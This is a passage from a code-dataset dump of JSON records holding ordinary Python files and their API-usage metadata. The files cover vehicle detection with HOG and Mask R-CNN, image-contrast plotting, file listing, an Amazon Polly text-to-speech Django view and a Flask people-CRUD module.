5, "usage_type": "call"}, {"api_name": "base.views.supplier_views.getSuppliers", "line_number": 5, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "base.views.supplier_views.uploadImage", "line_number": 6, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "base.views.supplier_views.getSupplier", "line_number": 7, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "base.views.supplier_views.createSupplierReview", "line_number": 8, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "base.views.supplier_views.getSupplierProducts", "line_number": 9, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "base.views.supplier_views.getSupplierProduct", "line_number": 10, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "base.views.supplier_views.getSupplierByUserId", "line_number": 11, "usage_type": "attribute"}, {"api_name": "base.views.supplier_views", "line_number": 11, "usage_type": "name"}]} {"seq_id": "4322506408", "text": "\"\"\"\nPython class that handles vehicle detection. It has two modes\nFull Scan: This is during initialization when all of the lanes and all positions, 224 in a four-lane highway,\nare used in the sliding window before Voxel Occlusion constraint propagation technique is applied.\n\nSentinel Scan: This is for video after full scan is complete.\nOnly entry points in the lane lines are now scanned; and thus, drastically reduce number of sliding window searchs per\nframe from 224 to just 9 for a four lane highway even before applying Voxel Occlusion constraint propagation.\n\"\"\"\nimport os\nimport time\n\nimport cv2\nimport matplotlib.gridspec as gridspec\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom lib.roadGrid import RoadGrid\nfrom skimage.feature import hog\nfrom lib.maskRCNN import maskRCNN\n\n\n# a class for wrapping our SVM trained HOG vehicle detector.\nclass VehicleDetection:\n # initialize\n def __init__(self, projectedX, projectedY,\n maskRCNN_threshold_occupancy=0.5):\n self.start = time.strftime(\"%Y%m%d%H%M%S\", time.gmtime())\n self.projectedX = projectedX\n self.projectedY = projectedY\n # Using mask RCNN for vehicle detection\n self.maskRCNN = maskRCNN()\n self.maskRCNN_threshold_occupancy = maskRCNN_threshold_occupancy\n\n # Define a function to change the detector's threshold\n def set_threshold(self, new_threshold):\n self.maskRCNN_threshold_occupancy = new_threshold\n\n # Define a function to compute binned color features\n def bin_spatial(self, img, size=(32, 32)):\n # Use cv2.resize().ravel() to create the feature vector\n features = cv2.resize(img, size).ravel()\n # Return the feature vector\n return features\n\n # Define a function to compute color histogram features\n def color_hist(self, img, nbins=32, bins_range=(0, 256)):\n # Compute the histogram of the color channels separately\n channel1_hist = np.histogram(img[:, :, 0], bins=nbins, range=bins_range)\n channel2_hist = np.histogram(img[:, :, 1], bins=nbins, range=bins_range)\n channel3_hist = np.histogram( img[:, :, 2], bins=nbins, range=bins_range)\n # Concatenate the histograms into a single feature vector\n hist_features = np.concatenate((channel1_hist[0], channel2_hist[0], channel3_hist[0]))\n # Return the individual histograms, bin_centers and feature vector\n return hist_features\n\n # Define a function to return HOG features and visualization\n def get_hog_features(self, img, orient, pix_per_cell, cell_per_block, vis=False, feature_vec=True):\n # Call with two outputs if vis==True\n if vis:\n features, hog_image = hog(\n img, orientations=orient,\n pixels_per_cell=(pix_per_cell, pix_per_cell),\n cells_per_block=(cell_per_block, cell_per_block),\n transform_sqrt=True,\n visualise=vis, feature_vector=feature_vec)\n return features, hog_image\n # Otherwise call with one output\n else:\n features = hog(\n img, orientations=orient,\n pixels_per_cell=(pix_per_cell, pix_per_cell),\n cells_per_block=(cell_per_block, cell_per_block),\n transform_sqrt=True, visualise=vis,\n feature_vector=feature_vec)\n return features\n\n # Define a function to extract features from a list of images\n # Have this function call bin_spatial() and color_hist()\n def extract_features(self, image, cspace='RGB', spatial_size=(32, 32),\n hist_bins=32, hist_range=(0, 256), orient=9,\n pix_per_cell=8, cell_per_block=2, hog_channel=0):\n\n if image.shape[0] > 0 and image.shape[1] > 0:\n if image.shape[0] != 64 or image.shape[1] != 64:\n image = cv2.resize(image, (64, 64))\n\n # Create a list to append feature vectors to\n # apply color conversion if other than 'RGB'\n if cspace != 'RGB':\n if cspace == 'HSV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n elif cspace == 'LUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2LUV)\n elif cspace == 'HLS':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n elif cspace == 'YUV':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2YUV)\n elif cspace == 'GRAY':\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n elif cspace == 'GRAYRGB':\n rgbfeature_image = np.copy(image)\n feature_image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\n else:\n feature_image = np.copy(image)\n # Apply bin_spatial() to get spatial color features\n if cspace == 'GRAYRGB':\n spatial_features = self.bin_spatial(\n rgbfeature_image, size=spatial_size)\n # Apply color_hist() also with a color space option now\n hist_features = self.color_hist(\n rgbfeature_image, nbins=hist_bins,\n bins_range=hist_range)\n # Call get_hog_features() with vis=False, feature_vec=True\n hog_features = self.get_hog_features(\n feature_image, orient, pix_per_cell,\n cell_per_block, vis=False, feature_vec=True)\n # Append the new feature vector to the features list\n hogFeatures = np.concatenate(\n (spatial_features, hist_features, hog_features))\n elif cspace == 'GRAY':\n hog_features = self.get_hog_features(\n feature_image, orient, pix_per_cell,\n cell_per_block, vis=False, feature_vec=True)\n hogFeatures = hog_features\n else:\n spatial_features = self.bin_spatial(feature_image, size=spatial_size)\n # Apply color_hist() also with a color space option now\n hist_features = self.color_hist(feature_image, nbins=hist_bins, bins_range=hist_range)\n # Call get_hog_features() with vis=False, feature_vec=True\n hog_features = self.get_hog_features(feature_image[:, :, hog_channel], orient, pix_per_cell,\n cell_per_block, vis=False, feature_vec=True)\n # Append the new feature vector to the features list\n hogFeatures = np.concatenate((spatial_features, hist_features, hog_features))\n return self.X_scaler.transform(hogFeatures.reshape(1, -1))\n else:\n return None\n\n def slidingWindows(self, lines, laneIdx, complete=False):\n \"\"\"\n Specialized sliding window generation. we are looking at top down birds-eye view and limiting the detection to\n just the lanes. We need to use the lane lines to help generate the sliding window locations.\n :param lines:\n :param laneIdx:\n :param complete:\n :return:\n \"\"\"\n # calculate the window positions\n nlanes = len(lines) - 1\n x0 = self.projectedX / 2\n y0 = self.projectedY\n\n # create roadgrid for boxes\n window_list = RoadGrid(x0, y0, nlanes, laneIdx)\n\n for i in range(nlanes):\n lane_boxes = {}\n leftPolynomial = np.poly1d(lines[i].currentFit)\n rightPolynomial = np.poly1d(lines[i + 1].currentFit)\n\n # horizontal lines\n # we treat left and right lanes differently because of the\n # projection. In the 'complete' case we are getting all\n # of the sliding windows\n if complete:\n if i < laneIdx:\n indexedBottom = i + 1\n else:\n indexedBottom = i\n for j in range(int(lines[indexedBottom].bottomProjectedY / 32)):\n y1 = 32 * j\n mid = int((rightPolynomial([y1]) + leftPolynomial([y1])) / 2)\n x1 = mid - 32\n x2 = mid + 32\n y2 = y1 + 64\n if x1 > 0 and x2 < self.projectedX and y1 > 0 and y2 < self.projectedY:\n lane_boxes['%d' % j] = ((x1, y1), (x2, y2))\n\n # In the else case we are getting only the windows at the top\n # and bottom of our lanes for the sliding windows\n else:\n linetop = lines[i].getTopPoint()\n if i == laneIdx:\n ylist = [(linetop[1], 0),\n (linetop[1] + 32, 1),\n (linetop[1] + 64, 2)]\n elif i < laneIdx:\n ylist = [(linetop[1], 0),\n (linetop[1] + 32, 1),\n (linetop[1] + 64, 2),\n (lines[i].bottomProjectedY - 96, 55)]\n else:\n ylist = [(linetop[1], 0),\n (linetop[1] + 32, 1),\n (linetop[1] + 64, 2),\n (lines[i + 1].bottomProjectedY - 32, 55)]\n\n for y1, j in ylist:\n mid = int((rightPolynomial([y1]) + leftPolynomial([y1])) / 2)\n x1 = mid - 32\n x2 = mid + 32\n y2 = y1 + 64\n if x1 > 0 and x2 < self.projectedX and y1 > 0 and y2 < self.projectedY:\n lane_boxes['%d' % j] = ((x1, y1), (x2, y2))\n window_list.map_boxes(i, lane_boxes)\n return window_list\n\n # draw_boxes function\n def draw_boxes(self, img, windows, color=(255, 255, 255), thick=20):\n # Iterate through the bounding boxes in a windows list\n for bbox in windows:\n # Draw a rectangle given bbox coordinates\n cv2.rectangle(\n img, (int(bbox[0][0]), int(bbox[0][1])),\n (int(bbox[1][0]), int(bbox[1][1])), color, thick)\n\n # Define a way for us to write out a sample of the HOG\n def drawPlots(self, imagefile, sampleTitle, images):\n # print(\"saving image and hog results to \", imagefile)\n # Setup plot\n fig = plt.figure(figsize=(12, len(images) * 9))\n w_ratios = [2.0, 6.5, 6.5]\n h_ratios = [9.0 for n in range(len(images))]\n grid = gridspec.GridSpec(\n len(images), 3, wspace=0.05, hspace=0.0,\n width_ratios=w_ratios, height_ratios=h_ratios)\n i = 0\n\n for filename, orient, pix_per_cell, \\\n cell_per_block, image1, image2 in images:\n # draw the images\n # next image\n title = '%s\\n Orientation: %d\\n'\n title += ' Pix_per_cell: %d\\n'\n title += ' Cell_per_block: %d'\n title = title % \\\n (filename, orient, pix_per_cell, cell_per_block)\n\n ax = plt.Subplot(fig, grid[i])\n ax.text(-0.5, 0.4, title, fontsize=8)\n ax.set_xticks([])\n ax.set_yticks([])\n for sp in ax.spines.values():\n sp.set_visible(False)\n fig.add_subplot(ax)\n i += 1\n\n ax = plt.Subplot(fig, grid[i])\n ax.imshow(image1)\n if i == 1:\n ax.set_title('Original', size=8)\n ax.set_xticks([])\n ax.set_yticks([])\n fig.add_subplot(ax)\n i += 1\n\n ax = plt.Subplot(fig, grid[i])\n ax.imshow(image2)\n if i == 2:\n ax.set_title('Augmented %s' % (sampleTitle), size=8)\n ax.set_xticks([])\n ax.set_yticks([])\n fig.add_subplot(ax)\n i += 1\n\n plt.savefig(imagefile)\n image = cv2.cvtColor(cv2.imread(imagefile), cv2.COLOR_BGR2RGB)\n y, x, ch = image.shape\n cuttoff = int((y / len(images)) * 0.65)\n image = image[cuttoff:(y - cuttoff), :, :]\n cv2.imwrite(imagefile, cv2.cvtColor(image, cv2.COLOR_RGB2BGR))\n\n # Define a way for us to process an image with\n # a list of sliding windows and try to detect vehicles\n def detectVehicles(self, image, roadgrid):\n mapping = roadgrid.getMapping()\n for box in mapping.keys():\n if not mapping[box]['occluded'] and not mapping[box]['found'] and mapping[box]['vehicle'] is None:\n window = mapping[box]['window']\n wimage = image[window[0][1]:window[1][1], window[0][0]:window[1][0]]\n wfeatures = self.extract_features(\n wimage, cspace=self.cspace, spatial_size=(32, 32),\n orient=self.orient, pix_per_cell=self.pix_per_cell,\n cell_per_block=self.cell_per_block,\n hog_channel=self.hog_channel,\n hist_bins=32, hist_range=(0, 256))\n if wfeatures is not None:\n confidence = self.svc.decision_function(wfeatures.reshape(1, -1))\n print(confidence[0])\n if confidence[0] > self.threshold:\n roadgrid.setFound(box)\n return roadgrid\n\n def detectVehiclesDNN(self, image):\n \"\"\"\n This is a Deep Neural netowkr based vehicle detection\n :param image:\n :param roadgrid:\n :return:\n \"\"\"\n cls_boxes, cls_segms, prediction_row = self.maskRCNN.vehicleDetection(image)\n binary_mask, scores, instance_id = self.maskRCNN.binary_mask(cls_boxes, cls_segms)\n if not len(instance_id):\n binary_mask = np.zeros_like(image)\n scores = []\n instance_id = []\n return cls_boxes, cls_segms, binary_mask, scores, instance_id\n\n def assignVehiclesRoadGrid(self, mask_all, roadgrid, instance_id):\n mapping = roadgrid.getMapping()\n mapping_keys = [n for n in mapping.keys()]\n mapping_keys.sort()\n\n for i_id in instance_id:\n binary_mask = (mask_all % 100 / 10).astype(int) == i_id\n for box in mapping_keys:\n if not mapping[box]['occluded'] and not mapping[box]['found'] and mapping[box]['vehicle'] is None:\n window = mapping[box]['window']\n wimage = binary_mask[window[0][1]:window[1][1], window[0][0]:window[1][0]]\n # For mask RCNN prediction: int(instance_count/10) is instance number\n confidence = np.mean(wimage)\n if confidence > self.maskRCNN_threshold_occupancy:\n print(confidence, i_id, box)\n roadgrid.setFound(box, i_id, confidence)\n # break\n return roadgrid\n\n # Define a way for us to collect data from images and videos\n def collectData(self, frame, image, windows):\n baseDir = \"collected/%s/%04d/\" % (self.start, frame)\n if not os.path.exists(baseDir):\n os.makedirs(baseDir)\n i = 0\n for window in [lane for lane in windows]:\n wimage = image[window[0][1]:window[\n 1][1], window[0][0]:window[1][0]]\n outfilename = baseDir + self.dataFileNamePattern % (i)\n cv2.imwrite(outfilename,\n cv2.cvtColor(wimage, cv2.COLOR_RGB2BGR))\n i += 1\n", "repo_name": "stevenwudi/CarND-Vehicle-Detection", "sub_path": "lib/vehicleDetection.py", "file_name": "vehicleDetection.py", "file_ext": "py", "file_size_in_byte": 15446, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.strftime", "line_number": 27, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 27, "usage_type": "call"}, {"api_name": "lib.maskRCNN.maskRCNN", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 52, "usage_type": "call"}, {"api_name": "skimage.feature.hog", "line_number": 60, "usage_type": "call"}, {"api_name": "skimage.feature.hog", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HSV", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 93, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2LUV", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2HLS", "line_number": 95, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 97, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2YUV", "line_number": 97, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 99, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 99, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 133, "usage_type": "call"}, {"api_name": "lib.roadGrid.RoadGrid", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.poly1d", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 220, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 220, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Subplot", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Subplot", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.Subplot", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 266, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 266, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 266, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 270, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 270, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 270, "usage_type": "attribute"}, {"api_name": "numpy.zeros_like", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 320, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 330, "usage_type": "call"}, {"api_name": "os.path", "line_number": 330, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 331, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 337, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 338, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2BGR", "line_number": 338, "usage_type": "attribute"}]} {"seq_id": "5645294978", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 6 10:26:16 2020\n\n@author: bencohen\n\"\"\"\nimport numpy as np\nimport skimage\nfrom skimage.color import rgb2gray\nfrom skimage.io import imread\nimport matplotlib.pyplot as plt\nimport os\n\n# allow for device input, comment out to use shortcut\n#directory = input(\"Enter directory path: \")\n#os.chdir(directory)\n#name = input(\"Enter image name: \")\n\n#shortcut - change \"directory\", change file \"name\"\ndirectory = r\"C:\\Users\\joekh\\Documents\\GitHub\\ML-Breat_Cancer_Classfier\\images\\contrast_images\"\nos.chdir(directory)\nname = 'clear'\n\nif(os.path.exists(name + '.jpeg')):\n image = skimage.color.rgb2gray(skimage.io.imread(directory + \"\\\\\" + name + '.jpeg'))\n y = image[400,:]\n x = np.arange(len(y))\n\n plt.plot(x, y)\n plt.xlabel('Pixel')\n plt.ylabel('Greyscale Value')\n plt.title('Clear')\n plt.ylim([0, 1])\n plt.show()\nelse:\n print(\"File does not exist.\")", "repo_name": "bcohen479/ML-Breat_Cancer_Classfier", "sub_path": "scripts/image_contrast_graph.py", "file_name": "image_contrast_graph.py", "file_ext": "py", "file_size_in_byte": 940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.chdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "skimage.color.rgb2gray", "line_number": 26, "usage_type": "call"}, {"api_name": "skimage.color", "line_number": 26, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 26, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}]} {"seq_id": "10448201287", "text": "from os import listdir\nfrom os.path import isfile, join\nimport argparse\n\ndef get_file_names(folderpath,out='output.txt', write_or_abend='w'):\n \"\"\" takes a path to a folder and writes all filenames in the folder to a specified output file\"\"\"\n # Make a list of files & dirs and then remove everything that is not a file\n files_and_dir = listdir(folderpath)\n lst = [file for file in files_and_dir if isfile(join(folderpath, file))]\n print(f'Files in {folderpath}: ', lst)\n\n # Convert list to string and write to new file.\n list_as_string = f'/{folderpath}/: ' + ' '.join(lst)\n with open(f'data/{out}', write_or_abend) as file_object:\n # Make line break if its a sub folder being abended\n if write_or_abend == 'a':\n file_object.write('\\n')\n file_object.write(list_as_string)\n\n # Makes sure it doesn't print this msg out if its a sub folder\n if write_or_abend == 'w': \n print(f'{out} has been created with the file names in the data folder.')\n\ndef get_all_file_names(folderpath,out='output.txt'):\n \"\"\"takes a path to a folder and write all filenames recursively (files of all sub folders to)\"\"\"\n # First run the other function\n get_file_names(folderpath, out)\n\n # Now find the sub folders\n files_and_dir = listdir(folderpath)\n sub_folders = [file for file in files_and_dir if not isfile(join(folderpath, file))]\n for sub in sub_folders:\n fp = f'{folderpath}/{sub}'\n get_file_names(fp, out, 'a')\n\ndef print_line_one(file_names):\n \"\"\"takes a list of filenames and print the first line of each\"\"\"\n # Using idx and enumerate just for the readability and for practicing.\n for idx, file in enumerate(file_names):\n with open(file) as data:\n for line in data:\n print(idx, line)\n # Breaking after 1 line\n break\n\ndef print_emails(file_names):\n \"\"\"takes a list of filenames and print each line that contains an email (just look for @)\"\"\"\n for file in file_names:\n print(f'Lines with email adresses in {file}: ')\n print('-----------------------------------------------------------')\n with open(file) as data:\n for idx, line in enumerate(data):\n if '@' in line:\n print(f'{idx}:', line)\n \n\ndef write_headlines(md_files, out='output.txt'):\n \"\"\"takes a list of md files and writes all headlines (lines starting with #) to a file\"\"\"\n for file in md_files:\n with open(file) as data:\n for line in data:\n if '#' in line[0]:\n print(line)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='A program that creates a txt files with all the files in the path folder, including the subfolders')\n parser.add_argument('path', help='File path for the csv file')\n parser.add_argument('--out', help='The name of the output file. Default output.txt')\n\n args = parser.parse_args()\n\n get_all_file_names(args.path, f'{args.out}.txt')", "repo_name": "JonasRex/JupyterLab_My_Notebooks", "sub_path": "my_modules/ex2/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 3057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.listdir", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 67, "usage_type": "call"}]} {"seq_id": "337115366", "text": "import django.views.generic.base as base\nimport django.http as http\nimport text_speech.forms as forms\nimport text_speech.amazon_polly as amazon_polly\nimport os\n\nclass text_speech(base.TemplateView):\n template_name = \"text_speech/index.html\"\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"form\"] = forms.input_form()\n return context\n\n @staticmethod\n def post(request, *args, **kwargs):\n # create a form instance and populate it with data from the request:\n form = forms.input_form(request.POST)\n\n # check whether it's valid:\n if form.is_valid():\n # process the data\n text = form.cleaned_data[\"text\"]\n voice = form.cleaned_data[\"voice\"]\n speed = request.POST[\"speed\"]\n\n return_text = amazon_polly.amazon_polly(text=text, voice=voice, speed=speed)\n\n return http.JsonResponse({\"return_text\": return_text}, status=200)\n else:\n return http.JsonResponse({\"error\": form.errors}, status=400)\n\n", "repo_name": "JackOfSpade/jackwu_ca", "sub_path": "text_speech/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.views.generic.base.TemplateView", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.views.generic.base", "line_number": 7, "usage_type": "name"}, {"api_name": "text_speech.forms.input_form", "line_number": 12, "usage_type": "call"}, {"api_name": "text_speech.forms", "line_number": 12, "usage_type": "name"}, {"api_name": "text_speech.forms.input_form", "line_number": 18, "usage_type": "call"}, {"api_name": "text_speech.forms", "line_number": 18, "usage_type": "name"}, {"api_name": "text_speech.amazon_polly.amazon_polly", "line_number": 27, "usage_type": "call"}, {"api_name": "text_speech.amazon_polly", "line_number": 27, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 29, "usage_type": "call"}, {"api_name": "django.http", "line_number": 29, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 31, "usage_type": "call"}, {"api_name": "django.http", "line_number": 31, "usage_type": "name"}]} {"seq_id": "29451364661", "text": "from flask import abort, make_response\n\nfrom config import db\nfrom models import Person, person_schema, people_schema\n\ndef create(person):\n \"\"\" Creates a new person in the people structure \"\"\"\n\n lname = person.get(\"lname\")\n existing_person = Person.query.filter(Person.lname == lname).one_or_none()\n\n if existing_person is None:\n new_person = person_schema.load(person, session=db.session)\n db.session.add(new_person)\n db.session.commit()\n \n return person_schema.dump(new_person), 201\n\n abort(\n 406,\n f\"Person with last name {lname} already exists\"\n )\n\n\ndef read_all():\n \"\"\"Returns all people from the people structure\"\"\"\n\n people = Person.query.all()\n\n return people_schema.dump(people)\n\ndef read_one(lname):\n \"\"\"Returns one person for the given last name\"\"\"\n\n person = Person.query.filter(Person.lname == lname).one_or_none()\n\n if person:\n return person_schema.dump(person)\n\n abort(\n 404, \n f\"Person with last name {lname} not found\"\n )\n\n\ndef update(lname, person):\n \"\"\" Updates an existing person in the people structure \"\"\"\n\n existing_person = Person.query.filter(Person.lname == lname).one_or_none()\n\n if existing_person:\n update_person = person_schema.load(person, session=db.session)\n existing_person.fname = update_person.fname\n existing_person.lname = update_person.lname \n\n db.session.merge(existing_person)\n db.session.commit()\n\n return person_schema.dump(existing_person), 200\n\n abort(\n 404,\n f\"Person with last name {lname} not found\"\n )\n\n\ndef delete(lname):\n \"\"\" Deletes a person from the people structure \"\"\"\n\n existing_person = Person.query.filter(Person.lname == lname).one_or_none()\n\n if existing_person:\n db.session.delete(existing_person)\n db.session.commit()\n\n return make_response(\n f\"Person with last name {lname} successfully deleted\", 204\n )\n\n abort(\n 404,\n f\"Person with last name {lname} not found\"\n )", "repo_name": "ammfat/peanotes", "sub_path": "people.py", "file_name": "people.py", "file_ext": "py", "file_size_in_byte": 2086, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "models.Person.query.filter", "line_number": 10, "usage_type": "call"}, {"api_name": "models.Person.query", "line_number": 10, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 10, "usage_type": "name"}, {"api_name": "models.Person.lname", "line_number": 10, "usage_type": "attribute"}, {"api_name": "models.person_schema.load", "line_number": 13, "usage_type": "call"}, {"api_name": "models.person_schema", "line_number": 13, "usage_type": "name"}, {"api_name": "config.db.session", "line_number": 13, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 13, "usage_type": "name"}, {"api_name": "config.db.session.add", "line_number": 14, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 14, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 14, "usage_type": "name"}, {"api_name": "config.db.session.commit", "line_number": 15, "usage_type": "call"}, {"api_name": "config.db.session", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 15, "usage_type": "name"}, {"api_name": "models.person_schema.dump", "line_number": 17, "usage_type": "call"}, {"api_name": "models.person_schema", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 19, "usage_type": "call"}, {"api_name": "models.Person.query.all", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Person.query", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 28, "usage_type": "name"}, {"api_name": "models.people_schema.dump", "line_number": 30, "usage_type": "call"}, {"api_name": "models.people_schema", "line_number": 30, "usage_type": "name"}, {"api_name": "models.Person.query.filter", "line_number": 35, "usage_type": "call"}, {"api_name": "models.Person.query", "line_number": 35, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 35, "usage_type": "name"}, {"api_name": "models.Person.lname", "line_number": 35, "usage_type": "attribute"}, {"api_name": "models.person_schema.dump", "line_number": 38, "usage_type": "call"}, {"api_name": "models.person_schema", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.abort", "line_number": 40, "usage_type": "call"}, {"api_name": "models.Person.query.filter", "line_number": 49, "usage_type": "call"}, {"api_name": "models.Person.query", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.Person", "line_number": 49, "usage_type": "name"}, {"api_name": "models.Person.lname", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.person_schema.load", "line_number": 52, "usage_type": "call"}, {"api_name": "models.person_schema", "line_number": 52, "usage_type": "name"}, {"api_name": "config.db.session", "line_number": 52, "usage_type": "attribute"}, {"api_name": "config.db", "line_number": 52, 